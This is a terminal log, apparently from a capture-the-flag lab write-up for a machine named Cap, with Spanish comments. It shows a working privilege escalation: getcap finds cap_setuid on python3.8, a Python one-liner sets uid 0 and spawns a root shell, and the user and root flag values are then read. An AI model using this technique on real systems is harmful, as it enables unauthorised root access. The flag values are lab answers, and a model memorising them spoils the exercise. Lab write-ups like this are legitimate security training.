nathan@cap:~$ getcap /usr/bin/python3.8
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
nathan@cap:~$ whoami
nathan
nathan@cap:~$ /usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash");'
root@cap:~# whoami
root
root@cap:~# id
uid=0(root) gid=1001(nathan) groups=1001(nathan)
root@cap:~# ls -la
total 28
drwxr-xr-x 3 nathan nathan 4096 May 27 2021 .
drwxr-xr-x 3 root root 4096 May 23 2021 ..
lrwxrwxrwx 1 root root 9 May 15 2021 .bash_history -> /dev/null
-rw-r--r-- 1 nathan nathan 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 nathan nathan 3771 Feb 25 2020 .bashrc
drwx----- 2 nathan nathan 4096 May 23 2021 .cache
-rw-r--r-- 1 nathan nathan 807 Feb 25 2020 .profile
lrwxrwxrwx 1 root root 9 May 27 2021 .viminfo -> /dev/null
-r----- 1 nathan nathan 33 Apr 15 14:10 user.txt
root@cap:~# cat user.txt
d318e8d5e5ebf7aa4f9b3b2f7c33aa16 # Sigue siendo la flag del usuario.
root@cap:~# cat root.txt
cat: root.txt: No such file or directory
root@cap:~# find / -name root.txt 2>/dev/null
/root/root.txt
root@cap:~# cat /root/root.txt
420344e88a4a378d796944d13d7a0851 # root flag obtenida, máquina CAP resuelta.
```